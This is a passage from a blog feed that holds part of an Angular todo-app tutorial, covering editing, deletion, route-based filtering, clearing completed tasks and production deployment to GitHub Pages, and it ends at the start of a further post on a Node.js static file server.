updatedTodo.value)&quot;</span></span></span><br><span class="line"><span class="tag">         (<span class="attr">keyup.escape</span>)=<span class="string">&quot;todo.editing = false&quot;</span></span></span><br><span class="line"><span class="tag">         (<span class="attr">keyup.enter</span>)=<span class="string">&quot;updateTodo(todo, updatedTodo.value)&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br></pre></td></tr></table></figure>
<p>Notice that we are adding a local variable in the template <code>#updatedTodo</code>. Then we use it to get the value like <code>updateTodo.value</code> and pass it to the function <code>updateTodo</code>.
We want to update the variables on <code>blur</code> (when you click somewhere else) or on <code>enter</code>. Let’s add the function that updates the value in the component.</p>
<p>Also, notice that we have a new CSS class applied to the element called <code>editing</code>. This is going to take care through CSS to hide and show the input element when needed.</p>
<p>Give it a try, double click on any task!</p>
<p>If you press <kbd>enter</kbd> you would notice an error in the console <code>ERROR TypeError: _co.updateTodo is not a function</code>.
That’s because we haven’t defined <code>updateTodo</code> yet:</p>
<figure class="highlight javascript"><figcaption><span>src/app/todo/todo.component.ts</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">updateTodo(todo, newValue) &#123;</span><br><span class="line">  todo.title = newValue;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">this</span>.todoService.put(todo).then(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">    todo.editing = <span class="literal">false</span>;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.getTodos();</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>We update the new todo’s title, and after the service has processed the update, we set editing to false. Finally, we reload all the tasks again. Let’s add the <code>put</code> action on the service.</p>
<figure class="highlight javascript"><figcaption><span>src/app/todo/todo.service.ts</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">put(changed) &#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function"><span class="params">resolve</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> index = TODOS.findIndex(<span class="function"><span class="params">todo</span> =&gt;</span> todo === changed);</span><br><span class="line">    TODOS[index].title = changed.title;</span><br><span class="line">    resolve(changed);</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Now, give it a try again. We can edit tasks! Yay!</p>
<p><a target="_blank" href="https://github.com/amejiarosario/angular-todo-app/commit/f1270ef">[changes diff]</a></p>
<h3 id="DELETE-clicking-X"><a href="#DELETE-clicking-X" class="headerlink" title="DELETE: clicking X"></a>DELETE: clicking X</h3><p>This is like the other actions. We add an event listenter on the destroy button, on line 20:</p>
<figure class="highlight html"><figcaption><span>src/app/todo/todo.component.html</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">button</span> <span class="attr">class</span>=<span class="string">&quot;destroy&quot;</span> (<span class="attr">click</span>)=<span class="string">&quot;destroyTodo(todo)&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>To make it work, we have to define the delete functionality on the component and service.</p>
<p>The method to the component looks something like this:</p>
<figure class="highlight javascript"><figcaption><span>src/app/todo/todo.component.ts</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">destroyTodo(todo) &#123;</span><br><span class="line">  <span class="built_in">this</span>.todoService.delete(todo).then(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.getTodos();</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>and finally, we add the method to the service:</p>
<figure class="highlight javascript"><figcaption><span>src/app/todo/todo.service.ts</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">delete</span>(selected) &#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function"><span class="params">resolve</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> index = TODOS.findIndex(<span class="function"><span class="params">todo</span> =&gt;</span> todo === selected);</span><br><span class="line">    TODOS.splice(index, <span class="number">1</span>);</span><br><span class="line">    resolve(<span class="literal">true</span>);</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Now test it out in the browser!</p>
<p><a target="_blank" href="https://github.com/amejiarosario/angular-todo-app/commit/a4aeaa4">[changes diff]</a></p>
<h2 id="Routing-and-Navigation"><a href="#Routing-and-Navigation" class="headerlink" title="Routing and Navigation"></a>Routing and Navigation</h2><p>It’s time to activate the routing. When we click on the <code>active</code> button, we want to show only the ones that are active. Similarly, we want to filter by <code>completed</code>. Additionally, we want to the filters to change the route <code>/active</code> or <code>/completed</code> URLs.</p>
<p>In <code>AppModule</code>, we need to add the <code>router</code> library and define the routes as follows:</p>
<figure class="highlight js"><figcaption><span>AppModule src/app/app.module.ts</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> &#123; BrowserModule &#125; <span class="keyword">from</span> <span class="string">&#x27;@angular/platform-browser&#x27;</span>;</span><br><span class="line"><span class="keyword">import</span> &#123; NgModule &#125; <span class="keyword">from</span> <span class="string">&#x27;@angular/core&#x27;</span>;</span><br><span class="line"><span class="keyword">import</span> &#123; FormsModule &#125; <span class="keyword">from</span> <span class="string">&#x27;@angular/forms&#x27;</span>;</span><br><span class="line"><span class="keyword">import</span> &#123; HttpModule &#125; <span class="keyword">from</span> <span class="string">&#x27;@angular/http&#x27;</span>;</span><br><span class="line marked"><span class="keyword">import</span> &#123; Routes, RouterModule &#125; <span class="keyword">from</span> <span class="string">&#x27;@angular/router&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> &#123; AppComponent &#125; <span class="keyword">from</span> <span class="string">&#x27;./app.component&#x27;</span>;</span><br><span class="line"><span class="keyword">import</span> &#123; TodoComponent &#125; <span class="keyword">from</span> <span class="string">&#x27;./todo/todo.component&#x27;</span>;</span><br><span class="line"></span><br><span class="line marked"><span class="keyword">const</span> routes: Routes = [</span><br><span class="line marked">  &#123; <span class="attr">path</span>: <span class="string">&#x27;:status&#x27;</span>, <span class="attr">component</span>: TodoComponent &#125;,</span><br><span class="line marked">  &#123; <span class="attr">path</span>: <span class="string">&#x27;**&#x27;</span>, <span class="attr">redirectTo</span>: <span class="string">&#x27;/all&#x27;</span> &#125;</span><br><span class="line marked">];</span><br><span class="line"></span><br><span class="line">@NgModule(&#123;</span><br><span class="line">  declarations: [</span><br><span class="line">    AppComponent,</span><br><span class="line">    TodoComponent</span><br><span class="line">  ],</span><br><span class="line">  imports: [</span><br><span class="line">    BrowserModule,</span><br><span class="line">    FormsModule,</span><br><span class="line">    HttpModule,</span><br><span class="line marked">    RouterModule.forRoot(routes)</span><br><span class="line">  ],</span><br><span class="line">  providers: [],</span><br><span class="line">  bootstrap: [AppComponent]</span><br><span class="line">&#125;)</span><br><span class="line"><span class="keyword">export</span> <span class="class"><span class="keyword">class</span> <span class="title">AppModule</span> </span>&#123; &#125;</span><br></pre></td></tr></table></figure>

<p>First, we import the routing library. Then we define the routes that we need. We could have said <code>path: &#39;active&#39;, component: TodoComponent</code> and then repeat the same for <code>completed</code>. But instead, we define a parameter called <code>:status</code> that could take any value (<code>all</code>, <code>completed</code>, <code>active</code>). Any other value path we are going to redirect it to <code>/all</code>. That’s what the <code>**</code> means.</p>
<p>Finally, we add it to the imports. So the app module uses it. Since the AppComponent is using routes, now we need to define the <code>&lt;router-outlet&gt;</code>. That’s the place where the routes are going to render the component based on the path (in our case <code>TodoComponent</code>).</p>
<p>Let’s go to <code>app/app.component.html</code> and replace <code>&lt;app-todo&gt;&lt;/app-todo&gt;</code> for <code>&lt;router-outlet&gt;&lt;/router-outlet&gt;</code>:</p>
<figure class="highlight html"><figcaption><span>app/app.component.html</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">router-outlet</span>&gt;</span><span class="tag">&lt;/<span class="name">router-outlet</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>Test the app in the browser and verify that now the URL is by default <code>http://localhost:9000/all</code>.</p>
<p><a target="_blank" href="https://github.com/amejiarosario/angular-todo-app/commit/2e2bae9">[changes diff]</a></p>
<h3 id="Using-routerLink-and-ActivatedRoute"><a href="#Using-routerLink-and-ActivatedRoute" class="headerlink" title="Using routerLink and ActivatedRoute"></a>Using routerLink and ActivatedRoute</h3><p><code>routerLink</code> is the replacement of <code>href</code> for our dynamic routes. We have set it up to be <code>/all</code>, <code>/complete</code> and <code>/active</code>. Notice that the expression is an array. You can pass each part of the URL as an element of the collection.</p>
<figure class="highlight html"><figcaption><span>src/app/todo/todo.component.html</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">ul</span> <span class="attr">class</span>=<span class="string">&quot;filters&quot;</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">li</span>&gt;</span></span><br><span class="line marked">    <span class="tag">&lt;<span class="name">a</span> [<span class="attr">routerLink</span>]=<span class="string">&quot;[&#x27;/all&#x27;]&quot;</span> [<span class="attr">class.selected</span>]=<span class="string">&quot;path === &#x27;all&#x27;&quot;</span>&gt;</span>All<span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">li</span>&gt;</span></span><br><span class="line marked">    <span class="tag">&lt;<span class="name">a</span> [<span class="attr">routerLink</span>]=<span class="string">&quot;[&#x27;/active&#x27;]&quot;</span> [<span class="attr">class.selected</span>]=<span class="string">&quot;path === &#x27;active&#x27;&quot;</span>&gt;</span>Active<span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">li</span>&gt;</span></span><br><span class="line marked">    <span class="tag">&lt;<span class="name">a</span> [<span class="attr">routerLink</span>]=<span class="string">&quot;[&#x27;/completed&#x27;]&quot;</span> [<span class="attr">class.selected</span>]=<span class="string">&quot;path === &#x27;completed&#x27;&quot;</span>&gt;</span>Completed<span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">ul</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>What we are doing is applying the <code>selected</code> class if the path matches the button. Yet, we haven’t populate the the <code>path</code> variable yet. So let’s do that:</p>
<figure class="highlight js"><figcaption><span>TodoComponent src/app/todo/todo.component.ts</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> &#123; Component, OnInit &#125; <span class="keyword">from</span> <span class="string">&#x27;@angular/core&#x27;</span>;</span><br><span class="line marked"><span class="keyword">import</span> &#123; ActivatedRoute &#125; <span class="keyword">from</span> <span class="string">&#x27;@angular/router&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> &#123; TodoService &#125; <span class="keyword">from</span> <span class="string">&#x27;./todo.service&#x27;</span>;</span><br><span class="line"></span><br><span class="line">@Component(&#123;</span><br><span class="line">  selector: <span class="string">&#x27;app-todo&#x27;</span>,</span><br><span class="line">  templateUrl: <span class="string">&#x27;./todo.component.html&#x27;</span>,</span><br><span class="line">  styleUrls: [<span class="string">&#x27;./todo.component.scss&#x27;</span>],</span><br><span class="line">  providers: [TodoService]</span><br><span class="line">&#125;)</span><br><span class="line"><span class="keyword">export</span> <span class="class"><span class="keyword">class</span> <span class="title">TodoComponent</span> <span class="title">implements</span> <span class="title">OnInit</span> </span>&#123;</span><br><span class="line">  private todos;</span><br><span class="line">  private activeTasks;</span><br><span class="line">  private newTodo;</span><br><span class="line marked">  private path;</span><br><span class="line"></span><br><span class="line marked">  <span class="keyword">constructor</span>(private todoService: TodoService, private route: ActivatedRoute) &#123; &#125;</span><br><span class="line"></span><br><span class="line">  ngOnInit() &#123;</span><br><span class="line marked">    <span class="built_in">this</span>.route.params.subscribe(<span class="function"><span class="params">params</span> =&gt;</span> &#123;</span><br><span class="line marked">      <span class="built_in">this</span>.path = params[<span class="string">&#x27;status&#x27;</span>];</span><br><span class="line marked">      <span class="built_in">this</span>.getTodos();</span><br><span class="line marked">    &#125;);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">/* ... */</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>We added <code>ActivatedRoute</code> as a dependency and in the constructor. ActivatedRoute gives us access to the all the <code>route</code> params such as <code>path</code>. Notice that we are using it in the <code>NgOnInit</code> and set the path accordantly.</p>
<p>Go to the browser and check out that the URL matches the active button. But, it doesn’t filter anything yet. Let’s fix that next.</p>
<p><a target="_blank" href="https://github.com/amejiarosario/angular-todo-app/commit/b3487a2">[changes diff]</a></p>
<h3 id="Filtering-data-based-on-the-route"><a href="#Filtering-data-based-on-the-route" class="headerlink" title="Filtering data based on the route"></a>Filtering data based on the route</h3><p>To filter todos by active and completed, we need to pass a parameter to the <code>todoService.get</code>.</p>
<figure class="highlight js"><figcaption><span>TodoComponent src/app/todo/todo.component.ts</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">ngOnInit() &#123;</span><br><span class="line">  <span class="built_in">this</span>.route.params.subscribe(<span class="function"><span class="params">params</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="built_in">this</span>.path = params[<span class="string">&#x27;status&#x27;</span>];</span><br><span class="line marked">    <span class="built_in">this</span>.getTodos(<span class="built_in">this</span>.path);</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line marked">getTodos(query = <span class="string">&#x27;&#x27;</span>)&#123;</span><br><span class="line marked">  <span class="keyword">return</span> <span class="built_in">this</span>.todoService.get(query).then(<span class="function"><span class="params">todos</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="built_in">this</span>.todos = todos;</span><br><span class="line">    <span class="built_in">this</span>.activeTasks = <span class="built_in">this</span>.todos.filter(<span class="function"><span class="params">todo</span> =&gt;</span> !todo.isDone).length;</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>We added a new parameter <code>query</code>, which takes the <code>path</code> (active, completed or all). Then, we pass that parameter to the service. Let’s handle that in the service:</p>
<figure class="highlight js"><figcaption><span>TodoService src/app/todo/todo.service.ts</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line marked">get(query = <span class="string">&#x27;&#x27;</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function"><span class="params">resolve</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">let</span> data;</span><br><span class="line"></span><br><span class="line marked">    <span class="keyword">if</span> (query === <span class="string">&#x27;completed&#x27;</span> || query === <span class="string">&#x27;active&#x27;</span>)&#123;</span><br><span class="line marked">      <span class="keyword">const</span> isCompleted = query === <span class="string">&#x27;completed&#x27;</span>;</span><br><span class="line marked">      data = TODOS.filter(<span class="function"><span class="params">todo</span> =&gt;</span> todo.isDone === isCompleted);</span><br><span class="line marked">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line marked">      data = TODOS;</span><br><span class="line marked">    &#125;</span><br><span class="line"></span><br><span class="line">    resolve(data);</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>So we added a filter by <code>isDone</code> when we pass either <code>completed</code> or <code>active</code>. If the query is anything else, we return all the todos tasks.</p>
<p>That’s pretty much it for filtering and routes, test it out!</p>
<p><a target="_blank" href="https://github.com/amejiarosario/angular-todo-app/commit/b87857d">[changes diff]</a></p>
<h2 id="Clearing-out-completed-tasks"><a href="#Clearing-out-completed-tasks" class="headerlink" title="Clearing out completed tasks"></a>Clearing out completed tasks</h2><p>One last UI functionality, clearing out completed tasks button. Let’s first add the click event on the template:</p>
<figure class="highlight html"><figcaption><span>src/app/todo/todo.component.html</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">button</span> <span class="attr">class</span>=<span class="string">&quot;clear-completed&quot;</span> (<span class="attr">click</span>)=<span class="string">&quot;clearCompleted()&quot;</span>&gt;</span>Clear completed<span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>We referenced a new function <code>clearCompleted</code> that we haven’t create yet. Let’s create it in the TodoComponent:</p>
<figure class="highlight js"><figcaption><span>TodoComponent src/app/todo/todo.component.ts</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">clearCompleted() &#123;</span><br><span class="line marked">  <span class="built_in">this</span>.todoService.deleteCompleted().then(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.getTodos();</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>In the same way we have to create <code>deleteCompleted</code> in the service:</p>
<figure class="highlight js"><figcaption><span>TodoService src/app/todo/todo.service.ts</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">deleteCompleted() &#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function"><span class="params">resolve</span> =&gt;</span> &#123;</span><br><span class="line marked">    TODOS = TODOS.filter(<span class="function"><span class="params">todo</span> =&gt;</span> !todo.isDone);</span><br><span class="line">    resolve(TODOS);</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>We use the filter to get the active tasks and replace the <code>TODOS</code> array with it.
Since, we are overwriting the variable we need to make it a <code>let TODOS ...</code> instead of a <code>const TODOS ...</code>.</p>
<p>That’s it we have completed all the functionality.</p>
<p><a target="_blank" href="https://github.com/amejiarosario/angular-todo-app/commit/30c699b">[changes diff]</a></p>
<h2 id="Checking-off-tasks-enhancements"><a href="#Checking-off-tasks-enhancements" class="headerlink" title="Checking off tasks enhancements"></a>Checking off tasks enhancements</h2><p>When we click on the checkbox, it gets the mark. However, the tasks doesn’t get crossout.</p>
<p>Let’s fix that by toggling <code>isDone</code> field when we click on task.
Add <code>(click)=&quot;toggleTodo(todo)&quot;</code> to the checkbox element.</p>
<figure class="highlight html"><figcaption><span>src/app/todo/todo.component.html:17</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;view&quot;</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">input</span> <span class="attr">class</span>=<span class="string">&quot;toggle&quot;</span></span></span><br><span class="line"><span class="tag">    <span class="attr">type</span>=<span class="string">&quot;checkbox&quot;</span></span></span><br><span class="line"><span class="tag">    [<span class="attr">checked</span>]=<span class="string">&quot;todo.isDone&quot;</span></span></span><br><span class="line"><span class="tag">    (<span class="attr">click</span>)=<span class="string">&quot;toggleTodo(todo)&quot;</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">label</span> (<span class="attr">dblclick</span>)=<span class="string">&quot;todo.editing = true&quot;</span>&gt;</span>&#123;&#123;todo.title&#125;&#125;<span class="tag">&lt;/<span class="name">label</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">button</span> <span class="attr">class</span>=<span class="string">&quot;destroy&quot;</span> (<span class="attr">click</span>)=<span class="string">&quot;destroyTodo(todo)&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>Since we are using the <code>toggleTodo</code> function we have to define it in the controller and service.</p>
<p>Controller implementation:</p>
<figure class="highlight js"><figcaption><span>src/app/todo/todo.component.ts:62</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">toggleTodo(todo) &#123;</span><br><span class="line">  <span class="built_in">this</span>.todoService.toggle(todo).then(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.getTodos();</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Service implementation:</p>
<figure class="highlight js"><figcaption><span>src/app/todo/todo.service.ts:62</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">toggle(selected) &#123;</span><br><span class="line">  selected.isDone = !selected.isDone;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">Promise</span>.resolve();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>We are returning a promise, in case we later want to replace the in-memory array for a API call or external storage.</p>
<p><a target="_blank" href="https://github.com/amejiarosario/angular-todo-app/commit/0affc59">[changes diff]</a></p>
<h2 id="Deploying-the-app"><a href="#Deploying-the-app" class="headerlink" title="Deploying the app"></a>Deploying the app</h2><p>You can generate all your assets for production running this command:</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ng build --prod</span><br></pre></td></tr></table></figure>

<p>It will minify and concatenate the assets for serving the app faster.</p>
<p>You might get some errors like <code>Property ... is private and only accessible within class &#39;TodoComponent&#39;.</code>.
You can fix that by making all the variables that are used on the template <code>public</code>. Instead of private:</p>
<figure class="highlight js"><figcaption><span>src/app/todo/todo.component.ts</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">public todos;</span><br><span class="line">public activeTasks;</span><br><span class="line">public newTodo;</span><br><span class="line">public path;</span><br></pre></td></tr></table></figure>

<p>Now <code>ng build --prod</code> should work. By default it will create assets on the <code>dist</code> folder.</p>
<p>If you want to deploy to a Github page you can do the following:</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ng build --prod --output-path docs --base-href <span class="string">&quot;/angular-todo-app/&quot;</span></span><br></pre></td></tr></table></figure>

<p>Replace <code>/angular-todo-app/</code> with the name of your project name. Finally, go to settings and set up serving Github pages using the <code>/docs</code> folder:</p>
<p><img src="https://user-images.githubusercontent.com/418605/43802468-dd515c14-9a63-11e8-8262-b5b837170640.png" alt="image"></p>
<h2 id="Troubleshooting"><a href="#Troubleshooting" class="headerlink" title="Troubleshooting"></a>Troubleshooting</h2><p>If when you compile for production you get an error like:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">The variable used in the template needs to be declared as &quot;public&quot;. Template is treated as a separate Typescript class.</span><br><span class="line"></span><br><span class="line">ERROR in src&#x2F;app&#x2F;todo&#x2F;todo.component.html(7,8): : Property &#39;newTodo&#39; is private and only accessible within class &#39;TodoComponent&#39;.</span><br><span class="line">src&#x2F;app&#x2F;todo&#x2F;todo.component.html(19,11): : Property &#39;todos&#39; is private and only accessible within class &#39;TodoComponent&#39;.</span><br><span class="line">src&#x2F;app&#x2F;todo&#x2F;todo.component.html(38,38): : Property &#39;activeTasks&#39; is private and only accessible within class &#39;TodoComponent&#39;.</span><br><span class="line">src&#x2F;app&#x2F;todo&#x2F;todo.component.html(41,36): : Property &#39;path&#39; is private and only accessible within class &#39;TodoComponent&#39;.</span><br><span class="line">src&#x2F;app&#x2F;todo&#x2F;todo.component.html(44,39): : Property &#39;path&#39; is private and only accessible within class &#39;TodoComponent&#39;.</span><br><span class="line">src&#x2F;app&#x2F;todo&#x2F;todo.component.html(47,42): : Property &#39;path&#39; is private and only accessible within class &#39;TodoComponent&#39;.</span><br><span class="line">src&#x2F;app&#x2F;todo&#x2F;todo.component.html(7,8): : Property &#39;newTodo&#39; is private and only accessible within class &#39;TodoComponent&#39;.</span><br></pre></td></tr></table></figure>

<p>Then you need to change <code>private</code> to <code>public</code> like <a href="https://github.com/amejiarosario/angular-todo-app/commit/cbf4e20">this</a>. This is because the Template in Angular is treated like a separate class.</p>
<h2 id="What’s-next-Build-Server-API"><a href="#What’s-next-Build-Server-API" class="headerlink" title="What’s next? Build Server API"></a>What’s next? Build Server API</h2><p>Check out this next post to learn how to build an API and connect it with this angular app:</p>
<p><a href="/angular-todo-mean-stack-node-mongodb-typescript-tutorial/">Modern MEAN Stack Tutorial with Docker</a></p>
<p>That’s all folks!</p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;This tutorial gets you off the ground with Angular. We are going to use the official CLI (command line) tool to generate boilerplate code
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
      <category term="Web Development" scheme="https://adrianmejia.com/categories/coding/web-development/"/>
    
      <category term="Angular" scheme="https://adrianmejia.com/categories/coding/web-development/angular/"/>
    
    
      <category term="angular" scheme="https://adrianmejia.com/tags/angular/"/>
    
      <category term="angularjs" scheme="https://adrianmejia.com/tags/angularjs/"/>
    
      <category term="todo app" scheme="https://adrianmejia.com/tags/todo-app/"/>
    
  </entry>
  
  <entry>
    <title>Building a Node.js static file server (files over HTTP) using ES6+</title>
    <link href="https://adrianmejia.com/Building-a-Node-js-static-file-server-files-over-HTTP-using-ES6/"/>
    <id>https://adrianmejia.com/Building-a-Node-js-static-file-server-files-over-HTTP-using-ES6/</id>
    <published>2016-08-24T21:54:42.000Z</published>
    <updated>2016-08-24T21:54:42.000Z</updated>
    
    <content type="html"><![CDATA[<p>We are going to do a <strong>static file server</strong> in Node.js. This web server is going to respond with the content of the file in a given path. While we are doing this exercise we are going to cover more about <code>http</code> module. Also, use some utilities from other core modules such as <code>path</code>, <code>url</code> and <code>fs</code>.</p>
<a id="more"></a>

